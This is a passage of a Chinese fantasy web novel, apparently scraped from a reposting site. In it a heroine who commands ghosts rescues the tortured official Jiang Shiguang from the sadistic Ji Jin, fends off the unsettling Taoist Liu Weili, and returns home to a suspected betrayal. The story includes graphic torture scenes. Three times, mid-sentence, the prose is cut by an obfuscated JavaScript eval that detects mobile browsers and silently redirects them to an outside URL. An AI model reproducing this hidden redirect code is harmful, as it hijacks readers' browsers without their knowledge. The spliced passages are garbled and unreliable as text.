于是沈盈息把手从蒋事珖的小腹往上移,慢慢地,穿梭过一片高耸的地带,终于触及到坚硬的锁骨。 她不自觉松了口气,顺利抵达蒋事珖的脸庞。 “蒋大人……蒋大人……“ 少女俯下身,轻轻拍打着男人的脸,打了几下不起作用,仍旧昏迷不醒。 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566907|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盈息叹了口气,“别死了吧,还是先上药。” 给一个没有意识的重伤患者上药,实是件困难的事情。 沈盈息回忆着纪和致的手法,便先决定褪掉蒋事珖的血衣。 一阵摸摸索索,好在把男人身上零碎的血衣解开。 极致的黑暗里,沈盈息只能靠哪处血糊糊多便往哪儿倒药粉,好在药足够多,如此混乱的治伤,最后居然还剩出了三瓶。 此时,沈盈息不得不佩服起纪和致的未卜先知和细心。 纪大夫真乃居家必备之良品。 上完药,竟有月在高窗外高悬,伸手不见五指的牢房终于有了些许见物的光线。 更令人松了口气的是,蒋事珖醒了。 面色惨白的男人缓缓睁开了眸子,往常锐利如剑的视线在极重伤情下涣散了几分。 他虚浮地望着漆黑的房顶,一时半晌竟未回神。 “蒋事珖?” 少女的呼唤兀地惊醒了将死的魂灵。 蒋事珖眸光凝聚,转过头,看见稀薄月色笼罩着一袭倩影,宛若黑曜玉似的双眸眨了眨,浮现关切之色。 那倩影俯下身,清雅的香气扑入鼻中。 “你怎么样,还会死吗?” “……”男人忽而扯开唇,笑了一下。 见状,沈盈息皱眉,“你这人,这种时候还笑得出来。” 平常冷冰冰冻着一张脸,濒死的时候倒记起来对人笑了。 “蒋事珖,你还有力气说话吗?” 蒋事珖失血过多,面白唇白,俊容沾血,只一双锐眸在看清月下少女的面容时,渐渐恢复了神采。 干裂的薄唇抿了抿,好容易是从干涸的嗓子里挤出几滴字来:“快、走、” “嗯?”沈盈息奇怪,她望着蒋事珖,发现他口不能多言,但眼里情绪出奇地饱满,能看出担忧和催促之色。 她稍一思量,问道:“马上还有人来这儿,是吗?是你就眨一下眼睛。” 蒋事珖眼神顿柔,缓缓地眨了下眼。 少女指抵下唇,沉吟道:“是谁?你的刑官?” 见沈盈息明明知晓危险在即而悠然自得,蒋事珖眼中的柔和登时褪去,他因失力而不得不用尽全力,抬起了手臂。 他一动作,跟着拽起一连串锁链哗啦啦的声响。 这回的蒋大人不仅伤更重,身上还给加了一副沉重的锁链。 链重压身,冰冷而粗糙的手掌抬起又失力,最终掉进少女臂间,沈盈息思路被这只手打乱。 她垂眸看去,男人修长的手指似握非握地搭在她臂上,指骨上的血脏了她的衣袖。 蒋事珖也已发觉,但无暇再抱歉,他张启沾血的干唇,嗓音粗粝而喑哑:“季、谨、走!” 沈盈息兀地反抓住臂间大手,俯身竟笑,“是季谨,我猜对了。” 蒋事珖眼中的愕然来不及消退,久经折磨但仍旧灵敏的耳力已先一步捕捉到异响。 从地牢深处传来,慢悠悠而闲庭漫步似的脚步声。 ……“走!” 向来以理智冷静著称的蒋廷尉此时也有些失了分寸,他用尽全力推开少女,火灼般的嗓子撕裂出裂帛般的恨声:“走!” 35. 第 35 章 第35章 男人即便重伤,到底还有意志兜着底。 蒋事珖意志化成了力气,这一推,沈盈息没有防备,直接跌坐在了地上。 始作俑者似乎也没想到,身体猛地僵住了。 幸而沈盈息及时伸手撑住身子,才不至于更狼狈地倒下。 见状,男人抿唇,紧绷的身体微微放松。 但为了驱逐少女,他硬撑着没说一句关心话语。 “啧。”沈盈息抬起手掌,掌根果然被擦破了。 血丝从白皙的皮肤下渗出,丝丝缕缕的疼痛从伤处蔓延开来。 她保持着撑坐的姿势,抬眸看向罪魁祸首。 少女黑眸澄澈安静,白皙的脸庞好像与月光融为了一体,灵秀出尘。 她就这样静和地看着他,让蒋事珖滑至唇边的道歉,愈发显得难以出口。 他硬撑着歉意,一言不发。 ——如若她生气,理应快拂袖离开了。 可等了半晌,只有安静,没有离开的脚步声。 落难的廷尉大人收紧手指,也像收回了理智。 他避开少女过分干净的注视,低头用黑暗掩饰自己的表情,嘶哑出声:“你是不是……” 喑哑粗粝的男声宛若闯入桃源的外来人,打破了一地柔美月色。 蒋事珖本人显然意识到自己声音的难听,一声难耐的闷哼从喉咙里溢出,像某种野兽受伤后的低吟。 更令人难以接受的是牢房外愈来愈近的脚步声。 “哒、哒——” 每一声都像鼓槌一样,一把一把用力地锤在心鼓之上。 在无人看见的黑暗里,蒋大人喉结微攒,闭了闭眼,继而用那破损不堪的嗓子挤出难听的音节:“你有办法的,是不是。” 他已收了疑问的口吻。 显然是彻底冷静了下来。 沈盈息兀地笑了起来,静如月色的眸子泛起笑波,“行了行了,不吓你了,我确实不怕季谨来,我有的是法子让他忽视我。” 得到猜测中的答案,蒋事珖却没有露出放松的表情。 他抬起剑眉,深深地看了眼含笑狡黠的少女。 牢房外的脚步声停在了门口,与此同时,蒋事珖冰冷地说了一句:“……这并不好玩。” “什么好玩不好玩,蒋大人倒懂得消遣寂寞,已自己玩起来了?” 牢上的铁链再次被打开,随着少年调笑声的落地,一袭暗红劲装的季谨迈进牢门。 绣锦勾金的锦靴踩在杂乱的稻草上,发出轻微的声响。 季谨进门的刹那,蒋事珖背对着他,眼睛直直望着沈盈息。 只有沈盈息看见,蒋大人的瞳孔缩了一下,似乎手指也蜷起来了,手下的稻草被他收紧纳入了掌心,发出的细碎声响太明显。 虽然她说了自己有办法,但这位廷尉大人还是很担心她啊。 沈盈息勾唇,对无意识露出紧张表现的蒋事珖笑了笑。 看见她的笑容,男人兀然松开蜷紧的手指,转而落下眉眼,恢复了一副严冷克制的模样。 此时,季谨已踏着稻草走近。 属于少年身上的冷香飘飘乎靠近,如丝线般钻入沈盈息的鼻中。 她转过脸,看向季谨。 季谨正居高临下地打量着蒋事珖,金玉贵养出的一张细腻脸蛋漂亮且锐气。 他果然看不见沈盈息。 蒋事珖收回余光,闭起眸,表情冷漠。 见蒋事珖一副无暇理睬的模样,季谨低低笑了一声。 他把玩着腰间的饰物,红唇勾起一抹恶劣的微笑:“蒋大人还真是一身钢筋铁骨,严刑施遍还能坚守己见,叫人好生……佩服。” 少年最后两个字说得轻而又轻,上翘的眼尾因垂眼而愈显弧度,像一柄小小的弯刃。 沈盈息的目光在季谨眼尾顿了下。 这样的季狗是她没见过的。 和她争口舌之快的季九,是纨绔嚣张但无害的季九。 而现在笑着附身看阶下囚的少年,是天潢贵胄、君王鹰犬,充当血腥刽子手的季谨。 脸还是那张脸,笑却不像笑,任何表情都带着呼之欲出的狠毒,再漂亮的五官也让人不寒而栗。 沈盈息定定地看了这样的季谨两秒,后者仿若有所觉察,唇角微笑一顿,眯起眼朝她所在的方向,缓缓扫视了一圈。 沈盈息不为季谨探究冰凉的视线所惧,她整理了下袖口,挪到了蒋事珖身旁坐好。 她抱膝而坐,倚着蒋事珖的肩膀,轻轻撞了一下蒋大人,用正常音量道:“蒋事珖,你身上的伤也是季谨打的吗?” 蒋事珖身子僵了下,他知道季谨正在狐疑地观察一切,稍有不慎,便会被这只恶狼般的少年撷住把柄。 虽然不知道沈盈息用了什么法子,让季谨看不见也听不见她,但他还处于季谨的监视之中,难保季谨不会从他身上察觉到什么。 蒋事珖只好保持沉默,但眼睛微不可查地眨了下。 如若她一直注意着他…… “又是他啊,”她果然在看他。 蒋事珖喉结滚动了一瞬。 少女继而轻笑,肩上再次传来她那细微的撞力,“蒋大人,我可以替你教训他吗?” 蒋事珖眼睫微颤,他俄而侧过身,面对季谨。 虽说破碎但亦然有遮蔽之力的宽袖,随着他侧身的动作成功地盖住了他的手掌。 蒋事珖仰眸,冷冷对峙着少年,手下却借宽袖遮掩,轻轻地圈住少女的手腕。 “季世子与其在此白费口舌,不如为陛下鞍前马后做条狗来得自在。” 蒋大人生平几无粗俗之时,平生第一次的粗口奉献在了阶下囚时。 同时,沈盈息感受到自己手腕上的手掌握了握她又松开了。 她看向蒋事珖,后者仍旧一脸冰寒地望着少年。 沈盈息迟疑了瞬,猜测他小动作的深意:“你要我别轻举妄动?” 季谨此时收回了对不知名视线的纠察,他显然对蒋事珖的粗口有了兴趣,脸上毫无怒意,甚而露出某种得逞的微笑。 “蒋事珖,你可算受不住了。”少年幸灾乐祸地勾唇,他望着昏暗里遍体鳞伤的男人,琥珀色的眸子溢满恶毒之色,“你现在是想求饶?” 蒋事珖用力地闭了闭眼,再睁开眼,眸底满是寒意:“是……” 季谨正为此露出讽笑,男人却又道:“痴心妄想。” 少年的笑一下褪了干净,让人简直想不到有人变换脸色的速度会这样快。 几乎像翻了一页书,季谨便换上了一副森寒貌。 他缓缓地直起身子,左手依旧把玩着腰间的饰品,右手却从后腰处抽出了某物。 沈盈息打眼一瞧,先从他把玩的荷包上看了眼,觉得有些熟悉,却又想不起来,便放弃思考,转而看向他右手——那是条金鞭。 当真是编着金丝的鞭子,纵在暗室里,依旧难以遮挡那金光的华贵。 沈盈息嘲笑地嗤了一声:“丢脸的家伙,品味低得离谱。” 她扭脸靠近蒋事珖,“你刚才那声是,是回答我的罢?” 少女清浅的气息毫无阻挡地扑上耳后,将耳根浸染出微微的绯红。 只能幸而地牢阴暗,即便靠得再近,她也无从瞧见。 蒋事珖动了动肩膀,又眨了下眼。 ——对少女疑问的无声解答。 她于是笑了,靠他更近了些,“蒋大人,季狗似乎又要开始打你了。事已至此,我可以教训他了吗?” 蒋事珖别过脸,抿唇用沉默拒绝她的提议,也变相驱赶她的靠近。 和蒋廷尉你来我往的几回,沈盈息现下已能从他的动作里解读出他的目的。 见其拒绝自己的近距离接触,沈盈息耸了耸肩,无所谓地又坐了回去。 而几乎在她坐回去的刹那,凭空一声炸响,季谨的金鞭便狠厉地落在蒋事珖的脸上。 那已是蒋事珖全身上下最后一块完好的地方了。 被抽中的脸颊立刻皮开肉绽,一道长贯眼尾唇角的鞭痕霎时跃上脸面,鲜血径直流下,甚而有碎肉飞溅到了沈盈息的脸上。 沈盈息有瞬间地怔愣,她摸了把脸颊,取下那块红粉色的血块。 “怎么会……” 这种程度…… 耳边只听得男人一道沉闷的低哼声,沈盈息侧脸看去,蒋事珖的身子剧烈晃了晃,但最终还是被主人强行稳住了。 那受了伤的半边脸正好对着沈盈息,借着月色,她看见那半边脸上血口狰狞、鲜血淋漓、简直是可怖。 光看着就令人发颤的恐怖伤情,不敢想象落到身上有多痛。 可蒋事珖稳住身形后,垂着头低喘了一声,而后沉默地抬起眼,一脸无动于衷的冰冷。 “真有种啊,蒋大人。”季谨诡笑一声,拖着血的金鞭曳在稻草上,滴滴拉拉的血很快浸黑了鞭下的草杆,鞭身上细碎如啮齿的倒钩隐隐泛着暗光。 倒钩的反光落入眼中,沈盈息居然才发现金鞭上的巧设。 所以溅到她脸上的,真是碎肉…… 她顺着金鞭向上移动视线,清晰地看见少年见血后兴奋过度而放大的瞳孔。 季谨琥珀般的浅色瞳孔遮不住他眼底的阴狠毒辣,甚而更为彰显。 月光似乎都被这狠厉的一鞭惊得僵硬住了,月色愈发凄白,像白绫般飘进了地牢。 越来越多的月光,越发凄狂,几近要把这间牢房彻底照亮。 蒋事珖血肉外翻的鞭伤在这光明之中再无处遁形,纵横豁开的血口宛若一条蠕动的肉虫般趴在他冰寒的脸上。 沈盈息的目光触及蒋事珖的表情,兀然像从血泊里醒了过来,她急声道:“你疯了,你怎么不告诉我这鞭子这么厉害?!” 她若早知晓,哪还征他的意见,早召鬼来将季谨糊弄走了。 或者,她就靠着他肩,那鞭子的威力便能被她卸下七八分,也不至于让他一人生生承下全部。 ……就算不通晓医理,但见蒋事珖脸上那道连肉都被抽走的鞭伤,沈盈息也知道蒋大人被破相了。 “……” 沈盈息等到了蒋事珖的一声叹息。 蒋廷尉听完少女的斥责,冰冷的表情微顿,眸底紧接着露出了一丝无奈。 借着宽袖,他用手指在她手背上慢慢地划了两个字:“无碍。” 沈盈息抿唇。 无碍? 她又不瞎。 她立时站了起来,眼神一动,守在牢门口的厉鬼便胆怯地飘了过来。 “断他——”沈盈息瞥向季谨,厉鬼跟着看过去,少女红唇微动,吐出冰冷的几个字:“双手。” 厉鬼立时得令,也不再惧季谨身上滔天的煞气,尖利地发出一声鬼哭后,鬼身瞬时间拧成镰刀的模样,尖啸着朝少年执鞭的双手俯冲了下去。 “嘶——” 季谨面容一僵,他正欲执鞭往蒋事珖另一侧脸甩去,刚刚抬手,手腕处忽然钻出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575614|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵尖锐疼痛。 他的腕口仿若突然间扑上了一只隐形的恶兽,巨大的兽齿狠狠撕咬着他的手腕,将他扯筋断骨,还贪嚼着他的血肉。 猝不及防的剧痛,让少年的面色猛地苍白如纸。 但他依旧紧紧控制着手中的金鞭,手指用力到指骨青白,手背上青筋蔓延。 冷汗从额间滴落,和稻草上的污血融为一体。 季谨欲抬手查看,可手却沉重得不听使唤,死了一般垂在腿侧,金鞭彻底放不开来了,被僵死的手指死死扣在掌心里。 “……嗯……”少年喉咙里发出模糊的痛吟,他及时用齿咬住下唇,狠狠咽下了不堪忍受的疼意。 沈盈息在一旁将一切纳入眼底,她并不为季谨的惨白痛苦而心软,反而露出一丝冷笑。 “哼,恶人自有恶人磨。”她俯下身,抚了抚蒋事珖另半边完好无损的脸颊,“蒋大人,你看,我到底是替你教训回来了,怎样,我给你找回场子了。” 蒋事珖也发觉了季谨的异样,待少女的话音一落,他就反应过来这一切是她的本领。 可惜的是他这次看不见鬼魂,所以并不知晓她是如何运作的。 但总之,她是为他“找回场子”的。 蒋大人眸色深了深,望着少女的面庞,忽地从眼底里泛出一丝笑意。 他对她眨了下眼:多谢。 他似乎明白她对自己的了解。 事实正是如此,这凡间凡人千千万,沈盈息每每下凡却都会遇上一个如蒋事珖般的刚正之人。 多接触了几回,他这种人算是沈盈息在人间最熟悉的凡人了。 她当然明白他眼神中的未竟之意。 从她个人看来,他们算老交情了。 ——“客气什么,你毕竟是我哥的朋友。” 少女收回手,眼神在他凄惨的伤口处停了下,又若无其事地移开,“蒋大人,你刚才要是不拒绝我倚着你,我还能给你分点鞭子,说不准你也不会破相了。” “现在好了,这伤眼看是治不好了,你蒋廷尉日后可要成了个丑人了。” 她定然不常关心旁人,所以才会在想关心别人时还露出嫌弃的表情。 欲盖弥彰的表情。 地牢里突兀地响起男人低沉的笑声。 不止沈盈息怔了下,连一旁疼得意识模糊的季谨,都下意识为这笑声而脑空白了一瞬。 意识到这笑声出自何人后,季谨从汗湿的额发后抬起一对阴沉的长眼,他定定地盯着蒋事珖几眼,而后压着眼睫,兀地哼笑一声:“蒋大人,我明日再来看望你。” 少年口吻颇具嚣张恶毒:“届时,我希望你依然笑得……这样开心。” 说罢,少年直起疼得快直不起来的腰,大跨步走出了牢房。 鲜艳的红衣裳离开皎洁月色,落入外间的暗廊里,更像披了件血衣般生怖。 沈盈息便看着季谨维持骄矜面孔走了出去。 目送他背影消失,沈盈息蹲了下去,拾起稻草里的药瓶,借着还没消失的月光给蒋事珖上药。 “你刚才笑什么?”她边往那血口里撒着药面,边道。 蒋事珖垂眸,视线落在她专注的脸上,却不语。 沈盈息瞥了他一眼,“看仇敌吃瘪,很畅快罢?” 蒋事珖勾起薄唇,一下带动了侧脸上的鞭伤,鲜血重新淌了下来,他却无所察觉般,只看着少女,低声道:“沈家主,你那日所说要与我共生的姑娘,姓甚名谁?蒋某出去,欲与重谢。” “呃……”沈盈息手指顿了下,她抬起眼,面露尴尬,“你非得知道吗?” 男人深邃眉眼紧盯着她,颔首道:“还望告知。” 沈盈息难以回答,她能说她还没编好吗? 临时编的话,就凭蒋廷尉敏锐的觉察力,难保他不会戳破她的谎言。 还是少说明智。 沈盈息胡乱别过脸,糊弄地说了句:“等你出去就知道了。” 但蒋事珖并不打算就此放过她,他凝着她的脸,薄唇紧抿,“那蒋某可以猜测,此人便在眼前吗?” 眼前? 沈盈息愕然,“你、你不会以为我就是那个……” 面容严肃的男人按了按手指,望紧少女,“在下可以——如此以为吗?” 沈盈息只呆了一秒,就噗嗤一声,笑了出来,她笑着说道:“蒋廷尉这是怎么了,你断案如神的本事呢?我是不是那个姑娘,你分辨下我喜不喜欢你不就得了?” 蒋事珖喉咙兀然干涩,他垂下眸,顿了顿,哑声道:“那么,你是吗?” …… 沉默。 沈盈息沉默中夹杂着疑惑,她伸出手,贴了贴蒋事珖的额头,凉的,没因伤重而感染发热。 所以,不是烧得没了分辨是非的能力。 果然还是伤太重了吧。 “蒋事珖,你是疼糊涂了吗?我当然不喜欢你啊,你怎么想的,真糊涂了一样。” 收紧的手指倏地失力松开,蒋事珖抿紧唇角,黑睫紧紧地压着下眼睑。 那厢沈盈息还笑着:“欸,蒋大人你怎么了,怎么又冷冰冰的了,你还没告诉我你刚才为什么……” “哦哟哟,好一副郎情妾意、心心相系的感人画面哟~” 熟悉的、惹人厌烦的男声突然响起。 沈盈息抬眸,看见道士抱着拂尘,松松垮垮地倚在牢门口,眯起狐狸眼不怀好意地奸笑着。 那贱表情,看得让人拳头痒痒。 36. 第 36 章 第36章 沈盈息知道留微理不算简单人物,但此刻看见站在牢门嬉笑的道士,她站了起来,对他展露防备与探究。 “这就过分了吧,”着破道袍的青年一对上少女的表情,殷红唇瓣撇了撇,面露受伤:“怎么着我也是来帮忙的,一个横眉一个冷眼,我的心,真是被伤得痛极了。” 说罢,青年手捧胸前,做西施捧心的动作。 他快与蒋事珖站立时齐高,身形虽无蒋廷尉魁梧,但到底清俊有形,堂堂站着,做足娇柔之态,不免显得做作而怪异。 沈盈息嫌弃地移开目光. 偏留微理看不见旁人的嫌弃一样,对自己的娇柔作态仍自满意着,白皙食指把玩起从额前落下的一缕碎发,倚着牢门无骨柔弱,欲拒还迎地看着沈盈息。 沈盈息偶尔一瞥,便和青年潋滟蓝眸对上,顿了一顿,倏地又收回。 “好了。”上完药,沈盈息收手,把剩下的两瓶药往蒋事珖怀中一塞,而后起身,“我就先走了。” 男人冰冷的眉眼微顿,而后缓缓抬起,看向少女,“你没有要问我的事吗?” 沈盈息听蒋事珖声音哑得都快失声了,直疑他再多说几句话嗓子也坏了,便径自摆了摆手,“今天没有,我明天再来,给你带点治嗓子的药。” 闻言,冷硬的男人抿了抿薄唇,默然颔首,又附上一句:“当心门口之人。” “诶诶,什么什么,你们就当着贫道面说贫道坏话吗?”留微理急了,放下手跨进大牢。 牢内的人却都当没看见他一样,沈盈息嗯了声,“放心。” 但作为和国师共事过的臣子,蒋事珖绝无对留微理放心之理,他看着少女,严肃叮嘱:“不要相信他说的任何一句话。” “啧,你这小子……”留微理撸起袖子,吵嚷不服地走上前来。 另外二人依旧漠视之,沈盈息对蒋事珖点头示意,一切完毕,带着虚弱的厉鬼掉身就走。 灰袍道士撸袖撸到一半,少女已目不转睛地从眼前走过。 沈盈息走过,带起一阵轻风,撩起道士眼前的碎发。 在她离去后,发丝又慢悠悠地飘回眼前,半掩半映着道士灰蓝色的眼珠。 留微理仰起脸,微微阖眸,深红色的薄唇勾了勾。 “留大人,她不是你能戏弄的。”一见留微理脸上的微笑,蒋事珖便知道这位国师大人又对少女起了兴趣。 妖道言行无状,人人憎恶,但的确有一身诡异的本事。 他这个阶下囚,此刻也只能冷冷地警告道,“陛下很关注沈府,国师想必很清楚。” “蒋大人真是……”留微理,苍白的面孔泛起一丝诡谲的甜蜜微笑,他保持着这令人不适的笑容,声音柔和:“自身难保,怎还死性不改,真是无趣至极,好不叫人讨厌。” 蒋事珖对留微理的话充耳不闻,眯起长眼,狰狞鞭痕为那张严峻面孔平添两分凶戾,“留卦,你知道陛下为何关注沈府,你也不过是其中一颗棋子。同僚一场,我劝你勿要引火自焚。” “同僚一场?”留微理懒懒垂眉,“正人君子们怒斥贫道妖言惑众时,可没顾及过什么同僚之情啊。” “咱们呐——”道士半笑不笑,伸了个懒腰,慵然道:“就是各有所求,别天天假模假样,劝我这来劝我那去啦。” 他挥了挥掉毛的拂尘,颇有模样地对一脸冰冷的囚徒竖起手掌,施礼一番,“蒋廷尉,你虽无趣,但到底比朝上那些小虫小鼠有心,这回要不是碰见小家主,说不准你就要落进贫道手里了。” “害呀,”眼见蒋事珖兀然站了起身,却半途跌坐了下去,留微理望了眼男人的腿,低低一笑:“哟,不仅丑了,还瘸了。” 无视了蒋事珖含怒冰寒的目光,留微理直起身,感慨地笑叹道:“蒋小子,你真是幸运,可不是谁都能有你这运气的。” 蒋事珖的胸膛猛地震动了一下,他撑着双臂拼命要站起来,一阵阵哗啦的锁链声随之曳地而起,生生把他钉在了地上。 “你们……”张口欲言,却郁气攻心,一口黑血冲出喉咙,淹住了唇舌。 留微理明知自己引人吐血,却好整以暇,甩了甩拂尘,望着蒋事珖凄惨模样啧啧道:“可别给自个儿急死了,小姑娘这么认真救你,别辜负人家呢。” 说罢,道士意识到自己三句不离少女,心痒难耐,呵呵笑了起来:“蒋事珖,我真有点喜欢这孩子了。你说,我要是先上官慜之那小子一步,也跟条落水狗一样给她瞧见了,现在她的夫君是不是就是我了呢?” “呵呵呵……” 欲说愈兴奋,留微理的瞳孔神经质地放大了些许,他迅速对折辱正直廷尉的戏码失去兴趣,掉开身子便疾走出了大牢。 只不顾蒋事珖听完他一遭话,又一口黑血涌出肺腑,淤血堵喉,呛得男人直要窒息而亡。 “……回来……”蒋廷尉嘶哑的嗓音落下,却只有寂寞月光陪伴,再无回应。 沈盈息离开地牢,没有急着回家,而就站在让留微理逃走的巷口,抱臂等待。 待留微理刚踏出地牢,便瞧见冷月下的少女。 他见状长眸一亮,迅疾地赶了过去。 “哎呀贫道就知道小息姑娘心好,肯定不会让贫道一人对付这寂寥长街的。” 沈盈息一脸冷漠:“你接近我有什么目的?” 灰袍道士惊诧地睁大双眸,“目的?什么目的?贫道就是一个穷道士,能有——” “嘭!” 一声闷响,熟悉的墙面,背脊被迫压在粗糙的墙体上,青年的长手长脚反常地被少女细胳膊细腿困在一隅里,动弹不得。 “嘶。”被压迫的国师大人轻吟出声,眉眼霎时褪去狡猾,竟出奇柔媚下来,一对漂亮的灰蓝色眼珠像浸水的宝石珠子,颤盈盈地抬起,欲说还休地望着身上的少女。 “说!”美色当前,沈盈息面冷如冰,她更加重了手臂的力度,扼得手下人咳了两声,苍白的面孔立时涌上一股病态的薄红。 “……说、什么?”道士露出茫然的表情,可怜兮兮地展手贴着墙面,纤长眼睫班垂落,红唇极具诱惑力地张合着:“冤家,你想听我说什么啊,你得先告诉我嘛……” 冷寂长夜,幽深小巷,拥有着异瞳的妖孽道士,柔若无骨地大展胸膛,眼神哀怜而惊颤。 若无他破鬼墙进地牢之事,沈盈息怕是真信了留微理这一副鬼样。 沈盈息望着留微理,即便他当真如妖惑人,她却只露出无尽的嫌恶。 她是在什么身份做什么事情的人。 她还没忘了自己已有家室,对留微理这种目的暧昧的美色,心里只有嫌弃。 “恶心。” 少女言简意赅,猛地松开对青年的钳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582418|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制。 短短两个字,把她所有的厌恶都透得一干二净。 被人恨过被人爱过,就是没被人说过恶心的国师大人,当即僵了一瞬,但到底是老于官场的人,心口不一的本事登峰造顶。 留微理很快重新笑了起来,他慢条斯理地理了理松散的衣襟,接着媚眼如丝地瞪了眼面容冷漠的少女,“冤家,真是冤家,还是个小古板,可怜乖乖的,叫贫道看得心都热了起来。” 沈盈息闻言,情绪翻滚一瞬,手中若有把利剑,她只会一剑把留微理捅个对穿。 此人虽无妖气,却更甚妖孽。 她对这种妖里妖气的角色一般无感,斩妖除魔百余年,留微理的千百姿态能引起的,只有她愈发浓郁的除妖念头。 尚且记挂着府中的上官慜之,沈盈息最后冷冷地瞥了眼留微理,而后便折身离去。 留微理倒没痴缠上去,他倚着冷墙,左手托着右手肘,右手掌撑着侧脸,歪头注视少女的冷漠背影。 “唔,”她走得愈远,那身上的冷锐气息便好似反了道一般,全涌回小巷里,扑到灰袍道士的身上。 留微理随即就感受到一股冲破骨髓、流进血液里的快感漫漫地把他淹没了,他睁大了狐狸眼,上勾的眼尾随之洇出花瓣似的红晕。 “啊……好可爱……讨厌人的样子也……” “慢慢来……慢慢玩……” 不住回味着少女厌恶的眼神,留微理仰脸,眼神迷离、心口鼓跃、深红色的饱满唇肉抿了又抿,却还是压不住自心到喉的干渴感。 月影垂落,月色羞避。 男人苍白细长的手指点鼓似地点着脸颊,骨感分明的长指在昏暗里晕白生光,鸦睫黑漆漆垂盖眼睫,遮挡着那诡异的竖起的瞳尖。 破旧道袍的青年在深巷里平缓许久,方才压下心中胀满得快冲破胸膛的欲/望。 是狩猎欲,是毁灭欲。 想要把猎物捉住,然后慢慢玩死的饥渴。 许久、许久不曾体会过这样纯粹的恶劣的渴望了。 狐狸眼的白皮男人紧盯着空无一人的街口,舌尖轻轻地舔舐过唇肉,自胸膛深处闷出一串低笑。 …… 沈盈息回想起留微理,尚为此人的捉摸不定而锁眉。 他是计划之外的人,一出现就引得上官慜之思念往事,心性不稳。 实是个麻烦。 而且他—— “竟然会除祟。” 凡间真有这样厉害的道士吗? 可若不是单纯的道士,沈盈息瞧不出留微理身上有妖气,也看不透他的识海。 非妖非魔,也非修士。 怪人一个。 思量间,已回到了小院落。 离开药铺前特意让阿仓回沈府,给沈盈风带了话。 是以沈盈息也不必天天回沈府,点卯似地和哥哥亲近了,她享受着没有一大堆人前呼后拥的自由,落下院落门栓,不自觉带起笑容。 “慜之!” 少女弯眸,欣悦转身。 但一转身,沈盈息脸上的表情忽地空白了。 满地衣裳,玉佩压腰封,外裳裹里衣,一件件落在地上,好似有人进了门就开始脱衣裳,走一地脱一地。 “礼物……” 沈盈息想起上官慜之临别前所言,他说,等她回家给她一个礼物。 37. 第 37 章 第37章 沈盈息抬步时,身子莫名感到些许沉重。 垂下的眸子定了半晌,终于勉强离开了一地乱衣。 她不确定自己现在进门,见到的会是上官慜之,还是上官慜之和谁。 少女眼睫微眨,落在前方紧闭的木门上。 她沉默了下来。 转而在识海揪出呼呼大睡的系统,“……这种状况,你怎么看?” 系统刚睡醒,眼神迷蒙,它甩了甩尾巴,声音钝钝的:“啊?” 沈盈息抿唇,勾出一缕神识拍了拍狼崽子。 系统彻底清醒,它顺着沈盈息的视线,跟着看见了一地乱糟糟的衣裳。 狼崽子一下子瞪大了眼睛,瞌睡是彻底惊醒了。 “这……什么鬼?!” 它不愿意多加猜测,它怕被吓死。 狼崽子颤颤地,蹭了蹭沈盈息的神识,“仙君,要不您、您进去看看,咱捉双是不,咱还是得相、相……” 系统相信不下去了。 原先黑漆漆的前院突兀亮起了灯,两道相拥交缠的身影顿时映上了窗纸,看不见都不可能。 系统:“……仙君,我这就立刻给您办理死遁速通业务,麻烦您这边死一下,仙君您有困难吗?” “死的理由,就当是被气死的成吗?” 可沈盈息并不生气。 她疑惑,像上官慜之这种人,怎么会轻而易举地接受了第二个人。 难道因为她给他找到了活下去的盼头,后来者便能堂而皇之地享受他了吗? 沈盈息凝神,盯着那窗剪影许久。 她进门时所唤的一声“慜之”并未控制音量,足够里屋人听清的。 但他们没有丝毫惊慌,甚而点起了灯,生怕她看不见似的。 沈盈息忽而反应过来,上官慜之先有预示,看来这窗剪影便是他送她的礼物。 沈盈息有点失神,真快。 所以上官慜之说的那句“很多事情都太快了”,指的是他喜欢上第二个人的速度吗? 既然如此,她接受他的临别礼。 上官慜之这半年里受的侮辱太多,沈盈息不想分手之际,还给他难堪。 系统得知她的想法后,忽地安静下来。 它很想跟沈盈息说,她的这种做法不是贴心,而是极深的冷漠。 可它到底没说。 或许是因为,它知道仙君她什么都懂。 沈盈息甚而俯身,把地上乱糟糟的衣裳拢了拢,团在一起后放在了门口。 她做这些事的时候显得出奇的耐心,就像随手扶起一个跌倒的孩子一样,面容很平静,甚而隐隐见一丝惬意。 做完这些,她望了望这处短暂的新房,又回头看了眼屋内她短暂的新郎。 最后耸了耸肩,转身走向大门。 “沈!息!”背后突然炸起一道悲鸣般的怒吼。 沈盈息一愣,掉转身体,果然见上官慜之满脸怒气,站在洞开的屋门前,像一只蓄势待发的、受伤的恶狼般绷紧全身、浑身敌意。 